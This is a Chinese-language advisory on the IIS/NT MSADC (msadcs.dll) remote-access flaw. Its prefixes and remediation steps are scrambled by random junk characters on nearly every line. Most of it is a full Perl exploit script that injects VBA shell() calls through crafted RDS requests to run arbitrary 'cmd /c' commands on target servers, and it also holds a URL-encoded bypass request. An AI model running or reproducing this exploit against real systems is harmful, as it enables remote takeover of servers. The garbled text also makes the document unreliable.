IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$WaZ_kt %C *^ :\y 涉及程序：
r*d Q5
_ Microsoft NT server
.ZX2^)`XD Z3;= w%W 描述：
)Vk:YL++ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&oN /_7y 'lQYJ0 详细：
L8P 36]> 如果你没有时间读详细内容的话，就删除:
%V_eJC""? c:\Program Files\Common Files\System\Msadc\msadcs.dll
mxL;;- 有关的安全问题就没有了。
ua#K>su r. *8-p7,D 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
(,tHL Phlk1*1n 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
n-O Wwev) 关于利用ODBC远程漏洞的描述，请参看:
# #>a&, Bbs 0 v6&, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4A o{M ;&mxqY8`' 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
4x]NU t http://www.microsoft.com/security/bulletins/MS99-025faq.asp B$7[8h _3&/(B%H 这里不再论述。
ZR
mPP J|?[.h7tO 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
?*o;o?5s^ ]Zv , /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
` ,-STIh) 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
gV`S % 1.dX)^ \
2}!R
T #将下面这段保存为txt文件，然后: "perl -x 文件名"
6o(lObf o }K;iJ~kD1 #!perl
*-7fa0< #
Ij ,Yuo # MSADC/RDS 'usage' (aka exploit) script
/&6Q) #
!7Uu]m69n # by rain.forest.puppy
`skH-lk, #
@?M; 'xMbB # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ir+8:./6 # beta test and find errors!
H<z30r/-w E6Q91Wz9f use Socket; use Getopt::Std;
Ej5^Y ?-6 getopts("e:vd:h:XR", \%args);
`.`FgaJ
| (xQI($Wq*M print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
i8eA_Q Crg#6k1~EN if (!defined $args{h} && !defined $args{R}) {
,i;9[4 QMX print qq~
. Nk6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
BiE$mM -h <host> = host you want to scan (ip or domain)
*Ji 9%IA -d <seconds> = delay between calls, default 1 second
]%||KC!O -X = dump Index Server path table, if available
+> ^[W~[2 -v = verbose
F *.
/D~K -e = external dictionary file for step 5
IY~
{)X sgD@} ":m Or a -R will resume a command session
e00RT1L
+Bn?-{h= ~; exit;}
qb9}&'@: dkE TM, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
35}P 0+ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R rxRa[{Z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^Jn|*?+l if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)v} ;C< $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
ud.poh~| if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
c.\:peDk uH= Gt^_ if (!defined $args{R}){ $ret = &has_msadc;
v F] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
U:J /\- rdFs?hO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
& 8zk3 . "cmd /c ";
~xP
Szf $in=<STDIN>; chomp $in;
z =u~]:.1O $command="cmd /c " . $in ;
fO0- N>W'P Bk @bN~B4 if (defined $args{R}) {&load; exit;}
Cx$9#3\ zkH<aLRB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<.: 5Vx(Aw &try_btcustmr;
T3 =)F% gq =0L: print "\nStep 2: Trying to make our own DSN...";
69N1 m P &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
{E3;r 7 n}) print "\nStep 3: Trying known DSNs...";
TeOFAIU &known_dsn;
#@IQlqJfY7 M_yZR^;^- print "\nStep 4: Trying known .mdbs...";
o@Dk%LxP &known_mdb;
VOD1xWrb #d3[uF]OmW if (defined $args{e}){
L!`*R)I45 print "\nStep 5: Trying dictionary of DSN names...";
bBd *}"v^" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?SBh^/zf =#7s+ d- print "Sorry Charley...maybe next time?\n";
>6n@ \n exit;
T@2f&Un^ Ufyxw5u5F ##############################################################################
7MR:X#2v> }Ox2olUX sub sendraw { # ripped and modded from whisker
,q{lYX83S sleep($delay); # it's a DoS on the server! At least on mine...
# Lu4OSM+ my ($pstr)=@_;
[I#Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
CR} > die("Socket problems\n");
F[ Qs v54 if(connect(S,pack "SnA4x8",2,80,$target)){
+3(C GNE select(S); $|=1;
g`y/ _ print $pstr; my @in=<S>;
:==UDVP select(STDOUT); close(S);
:FEd:0TS return @in;
\z(>h& } else { die("Can't connect...\n"); }}
qdg= Imx W+fkWq7`Xx ##############################################################################
"Wzij&WkQ XyN`BDFi sub make_header { # make the HTTP request
P# M<CG9 my $msadc=<<EOT
BN bb&] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
DR#3njjEC User-Agent: ACTIVEDATA
;tZ}i4Ud Host: $ip
?#');` Content-Length: $clen
&@Ji+ Connection: Keep-Alive
J~ PTVR NpjsZcA ADCClientVersion:01.06
@pyA;>U Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
F<XD^sO 476M` gA --!ADM!ROX!YOUR!WORLD!
D(W7O>5vQ2 Content-Type: application/x-varg
qCv}+d) Content-Length: $reqlen
.>cL /KaP n~L ' icD[ EOT
]7Xs=>"Iw ; $msadc=~s/\n/\r\n/g;
4.$hHFqS^5 return $msadc;}
y2 d_b/ l S Kv* ##############################################################################
WoN]eO }1E_G sub make_req { # make the RDS request
**
"s~ my ($switch, $p1, $p2)=@_;
Lt
ZWs0l0 my $req=""; my $t1, $t2, $query, $dsn;
`s]zk {x *HfW(C $ if ($switch==1){ # this is the btcustmr.mdb query
$ET/0v"V $query="Select * from Customers where City=" . make_shell();
tF) k6*+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/3bca !O $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
9=sMKc%!- YV>VA<c elsif ($switch==2){ # this is general make table query
UBpM8 /U $query="create table AZZ (B int, C varchar(10))";
_@}MGWlAPt $dsn="$p1";}
a |^ -z|. aF_ZV bS elsif ($switch==3){ # this is general exploit table query
7cQHR M+1 $query="select * from AZZ where C=" . make_shell();
mYU dh L ^ $dsn="$p1";}
_<&K]e@dp N*c?Er@8U elsif ($switch==4){ # attempt to hork file info from index server
L< nkI $query="select path from scope()";
pR^Y|NG! $dsn="Provider=MSIDXS;";}
mqfEs0~I B[k+#Y YY elsif ($switch==5){ # bad query
p{pzOMi6 $query="select";
[s h"? $dsn="$p1";}
LKwUpu! AfbA.- $t1= make_unicode($query);
gx{~5&1 $t2= make_unicode($dsn);
j,V$vK P $req = "\x02\x00\x03\x00";
hghto
\G5Y $req.= "\x08\x00" . pack ("S1", length($t1));
QK/+*hr; $req.= "\x00\x00" . $t1 ;
R HA>fXp $req.= "\x08\x00" . pack ("S1", length($t2));
D -\'P31 $req.= "\x00\x00" . $t2 ;
U Edl"FwM4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3qwYicq, return $req;}
`0i}}Zo xWI 0s;k ##############################################################################
D cvmeGl ^zs4tCW % sub make_shell { # this makes the shell() statement
GzE3B';g return "'|shell(\"$command\")|'";}
0aN }zUf jH#^O ;A ##############################################################################
)* AA9 'V1 -iJj9 sub make_unicode { # quick little function to convert to unicode
H<}Fk9 my ($in)=@_; my $out;
c#-97"_8 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|
3/p8 return $out;}
1RO gUJ; N[D\@o ##############################################################################
XIW: Nk!S \:)o'- sub rdo_success { # checks for RDO return success (this is kludge)
2\8\D^ my (@in) = @_; my $base=content_start(@in);
^Ypx|-Vu! if($in[$base]=~/multipart\/mixed/){
.mU.eLM return 1 if( $in[$base+10]=~/^\x09\x00/ );}
xbC- ueEj return 0;}
|~vQ0D
` : ##############################################################################
.2- JV0 ? F), 4Q sub make_dsn { # this makes a DSN for us
wN0OAbtX' my @drives=("c","d","e","f");
|ssIUJ print "\nMaking DSN: ";
UE;) mZ=l| foreach $drive (@drives) {
= 8e8!8 print "$drive: ";
] ,aAzjZ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
F!cAaL1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6 G})h! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2 g8P$+;
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
1X}Tp\e return 0 if $2 eq "404"; # not found/doesn't exist
Yxq Q g if($2 eq "200") {
zi&d foreach $line (@results) {
]6[d-$#^ko return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\ @t5S } return 0;}
; S M^ (dt_ D ##############################################################################
~"YNG? Rre /'_ RI sub verify_exists {
~0{Kga my ($page)=@_;
UN 4) >\Y my @results=sendraw("GET $page HTTP/1.0\n\n");
D}U<7=\3H return $results[0];}
nY0UnlB` D;n%sRq(Z ##############################################################################
,(=]6V (` Mz.VN sub try_btcustmr {
io'Ovhf: my @drives=("c","d","e","f");
`5&V}"lB my @dirs=("winnt","winnt35","winnt351","win","windows");
6EWB3.x1 9 =eLb"7C#0 foreach $dir (@dirs) {
N6 8>` print "$dir -> "; # fun status so you can see progress
F7l:*r,O foreach $drive (@drives) {
MW> 28 print "$drive: "; # ditto
wdV?& W+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
?0%TE\I8 $reqlenlen=length( "$reqlen" );
-ix1<e $clen= 206 + $reqlenlen + $reqlen;
291 |KG
)fL*Ws6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
k|C8 sSH if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
S:\hcW6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
jdf@lb=5 l HwuPjc# ##############################################################################
OFbg]{ub? _?c.3+;s sub odbc_error {
AwrK82 my (@in)=@_; my $base;
XOU$3+8q5 my $base = content_start(@in);
$ 3B? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Rw 8o ] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m huaXbr $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y]9U FL" $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c10).zZ return $in[$base+4].$in[$base+5].$in[$base+6];}
~`H<sJ?9 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:L0W"$ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
@/FX7O{n: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
D:EF@il ;P~S/j[ 8 ##############################################################################
_AbEQ\P{
e5]AB sub verbose {
;# j 82 my ($in)=@_;
= h( n+y< return if !$verbose;
RY< b]| print STDOUT "\n$in\n";}
xrnH= >.;m j}l8k@f ##############################################################################
c<e\JJY5?
+Bfi/ > sub save {
v2sU$M my ($p1, $p2, $p3, $p4)=@_;
,&G
M\FTeb open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k;7.qhe: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Y cpO;md close OUT;}
3)SZVME1Z p> S/6 [X ##############################################################################
}wXD%X@)l T@.D5[q0: sub load {
{[ *_HAy7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Bx4GFCdifC open(IN,"<rds.save") || die("Couldn't open rds.save\n");
aM!# @p=<IN>; close(IN);
E2 D8s=r $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~#\#!H7 $target= inet_aton($ip) || die("inet_aton problems");
w-Fk&dC69 print "Resuming to $ip ...";
KL]!E ~i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
f*Js= hvO if($p[1]==1) {
=)8fE*[s $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@x
+#ZD( $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
a0\UL"z#+ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
F-0PmO~3+W if (rdo_success(@results)){print "Success!\n";}
K~T\q_ZPZ else { print "failed\n"; verbose(odbc_error(@results));}}
[rU8
#4.
elsif ($p[1]==3){
':4pH#E if(run_query("$p[3]")){
:X*L lN print "Success!\n";} else { print "failed\n"; }}
GJPZ[bo elsif ($p[1]==4){
BwD 1}1jp if(run_query($drvst . "$p[3]")){
ZQA
C &: print "Success!\n"; } else { print "failed\n"; }}
|>GIPfVT exit;}
?Nql7F4 oW6<7>1M7 ##############################################################################
_Qc\v0% }*
JMc+!9@ sub create_table {
1s[-2^D+EM my ($in)=@_;
QPE. b-S $reqlen=length( make_req(2,$in,"") ) - 28;
|LH*)GrD*t $reqlenlen=length( "$reqlen" );
%tQ{Hf~ $clen= 206 + $reqlenlen + $reqlen;
Cq;d2u0)o$ my @results=sendraw(make_header() . make_req(2,$in,""));
*?Ef}:] return 1 if rdo_success(@results);
u6T?oK9j my $temp= odbc_error(@results); verbose($temp);
X{9o8
*V return 1 if $temp=~/Table 'AZZ' already exists/;
g>P9hIl return 0;}
DNBpIC5&6 e/jM+%
##############################################################################
N o\&~ ,s&~U<Z sub known_dsn {
\RyA}P5 S # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
q|l|mO my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_O9H. _E "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
^|(4j_.(e "banner", "banners", "ads", "ADCDemo", "ADCTest");
z
]N~_9w %v:h]TA foreach $dSn (@dsns) {
G$uOk?R#5c print ".";
WVK-dBU next if (!is_access("DSN=$dSn"));
i9U_r._qj; if(create_table("DSN=$dSn")){
_rd j,F8 print "$dSn successful\n";
w*}yw"gP*0 if(run_query("DSN=$dSn")){
v1g5( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
yUwgRj print "Something's borked. Use verbose next time\n";}}} print "\n";}
Al=? j#J6p wD^do ##############################################################################
: ";D.{|| ~( OIo7#; sub is_access {
>=:T
ZU my ($in)=@_;
qp qz. {\ $reqlen=length( make_req(5,$in,"") ) - 28;
'oQP:*Btl3 $reqlenlen=length( "$reqlen" );
f.)F8!! $clen= 206 + $reqlenlen + $reqlen;
r tmt 3 my @results=sendraw(make_header() . make_req(5,$in,""));
-7z y my $temp= odbc_error(@results);
,T*_mDVY verbose($temp); return 1 if ($temp=~/Microsoft Access/);
"`*a)'.'^c return 0;}
(,c?}TP yx w27 ~ ##############################################################################
HmB[oH "x lc?m KW9 sub run_query {
O| 6\g>ew my ($in)=@_;
R:B BNzY}f $reqlen=length( make_req(3,$in,"") ) - 28;
D6)Cjc>a $reqlenlen=length( "$reqlen" );
OK?3,<x $clen= 206 + $reqlenlen + $reqlen;
n!eqzr{ my @results=sendraw(make_header() . make_req(3,$in,""));
s?x>Yl
% return 1 if rdo_success(@results);
\M"^Oe{Dy? my $temp= odbc_error(@results); verbose($temp);
QXxLe* return 0;}
/.kna4k <_a70"i ##############################################################################
Xtu`5p_Qv q?-3^z%u sub known_mdb {
hp]ng!I{\u my @drives=("c","d","e","f","g");
Z~phOv my @dirs=("winnt","winnt35","winnt351","win","windows");
cv*Q]F1% my $dir, $drive, $mdb;
,*nZf| my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
IgiF,{KE, =Kt9,d08x # this is sparse, because I don't know of many
?%xhe my @sysmdbs=( "\\catroot\\icatalog.mdb",
m,gy9$ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Q
f+p0 E; "\\system32\\certmdb.mdb",
"?e H=! "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
JXLWRe ',H$zA?i my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
XHZ:
mLf "\\cfusion\\cfapps\\forums\\forums_.mdb",
, P@/=I5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
wsJ%*
eYf "\\cfusion\\cfapps\\security\\realm_.mdb",
"0H56#eW "\\cfusion\\cfapps\\security\\data\\realm.mdb",
j.; "\\cfusion\\database\\cfexamples.mdb",
:e&n.i^ "\\cfusion\\database\\cfsnippets.mdb",
KM6N'x ^z "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
&vFq e,Z "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,u&tB|,W, "\\cfusion\\brighttiger\\database\\cleam.mdb",
4P4 Fo1 "\\cfusion\\database\\smpolicy.mdb",
2B9 i R "\\cfusion\\database\cypress.mdb",
eg2U+g4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
AvrL9D "\\website\\cgi-win\\dbsample.mdb",
i+)} aA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&}nBenYp "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Xb= 2/\}|f ); #these are just
%kK
][2e foreach $drive (@drives) {
ws>WA{]gq foreach $dir (@dirs){
]{,Gf2v;;d foreach $mdb (@sysmdbs) {
1tc]rC4h print ".";
: WK"-v if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
n^iNo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$(@o$%d if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g5tjj. print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
80?6I%UB< } else { print "Something's borked. Use verbose next time\n"; }}}}}
&o* s !u IpWy)B>Fl3 foreach $drive (@drives) {
s&dO/}3uR] foreach $mdb (@mdbs) {
n5Nan
print ".";
0%xR<<gir if(create_table($drv . $drive . $dir . $mdb)){
G$;]
?g print "\n" . $drive . $dir . $mdb . " successful\n";
7Wwp )D if(run_query($drv . $drive . $dir . $mdb)){
<%d51~@={I print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
""1#bs{ n } else { print "Something's borked. Use verbose next time\n"; }}}}
gppBFS }
h4CTTe) hrs#ZZ:E ##############################################################################
Gn bfy4Z { OB-J \7Y sub hork_idx {
E?3 0J3 S print "\nAttempting to dump Index Server tables...\n";
[3O^0-:6E print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
nu&_gF ,{ $reqlen=length( make_req(4,"","") ) - 28;
lLu ID $reqlenlen=length( "$reqlen" );
yZYK wKG $clen= 206 + $reqlenlen + $reqlen;
0a"ig H} my @results=sendraw2(make_header() . make_req(4,"",""));
x9 &-(kBU if (rdo_success(@results)){
:tRf@ bD# my $max=@results; my $c; my %d;
)W&o?VRfO for($c=19; $c<$max; $c++){
- DTB6}kw $results[$c]=~s/\x00//g;
v5(q) h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
9[cp7 Rcb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
@S`$C $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Q)09]hP[Xj $d{"$1$2"}="";}
.z=U= _e foreach $c (keys %d){ print "$c\n"; }
Ho 3dsh ) } else {print "Index server doesn't seem to be installed.\n"; }}
iM:yX=>a CF]i}xpWV ##############################################################################
kf<c, 3A exfm q sub dsn_dict {
hf;S]8|F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
U?gl"6x while(<IN>){
7FAIew\r $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<0CzB"Ap next if (!is_access("DSN=$dSn"));
i.3cj1 if(create_table("DSN=$dSn")){
/-h6`@[ print "$dSn successful\n";
{vs 4vS6 if(run_query("DSN=$dSn")){
M70c{s`w5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Mr-DGLJ print "Something's borked. Use verbose next time\n";}}}
4| `Yz%' print "\n"; close(IN);}
&J_Z~^ Ng\/)^ ##############################################################################
N;uUx#z / /'Tck sub sendraw2 { # ripped and modded from whisker
>ajuk sleep($delay); # it's a DoS on the server! At least on mine...
]<1HM"D my ($pstr)=@_;
OB(pIzS e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sONBQ9 die("Socket problems\n");
2K;#Evn'j if(connect(S,pack "SnA4x8",2,80,$target)){
F*M|<E= print "Connected. Getting data";
~4Pc_%&i open(OUT,">raw.out"); my @in;
*I0Tbc
O select(S); $|=1; print $pstr;
(:5G#?6, while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
syv$XeG=} close(OUT); select(STDOUT); close(S); return @in;
+iy 7e6P } else { die("Can't connect...\n"); }}
Ir5WN_Ea S ibJHU@l ##############################################################################
'B_\TU0
O Cs w E sub content_start { # this will take in the server headers
ZPHXzi3j my (@in)=@_; my $c;
ZU^I H9 for ($c=1;$c<500;$c++) {
Bd@'e7 { if($in[$c] =~/^\x0d\x0a/){
'CXRG$D if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
UNDi_6Dy else { return $c+1; }}}
G/ vC~6x return -1;} # it should never get here actually
mf fIf1f f6!D L< ##############################################################################
4 ,G w#@ e*C6uz9N sub funky {
;
dd Q/ my (@in)=@_; my $error=odbc_error(@in);
Gs
dnf 7 if($error=~/ADO could not find the specified provider/){
QK; T~
_k print "\nServer returned an ADO miscofiguration message\nAborting.\n";
M\oTZ@ exit;}
>`'O7 .R if($error=~/A Handler is required/){
c X:HD+wO print "\nServer has custom handler filters (they most likely are patched)\n";
.R5y :O exit;}
NOt@ M if($error=~/specified Handler has denied Access/){
|Ps% M|8~ print "\nServer has custom handler filters (they most likely are patched)\n";
#?[.JD51l exit;}}
]3B %8 aRJcSV ##############################################################################
}CDk9 Xk "w_N' -}# sub has_msadc {
4 =Gp h my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
G X&b;N my $base=content_start(@results);
iWL a> z|, return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
%O%=rUD return 0;}
d2S~)/@S Y[Ltrk{ ########################
Vp}^NNYf d Qb.BOI)h |J0Q,F]T 解决方案：
,xI%A,
(,; 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
xSK~s 2、移除web 目录: /msadc
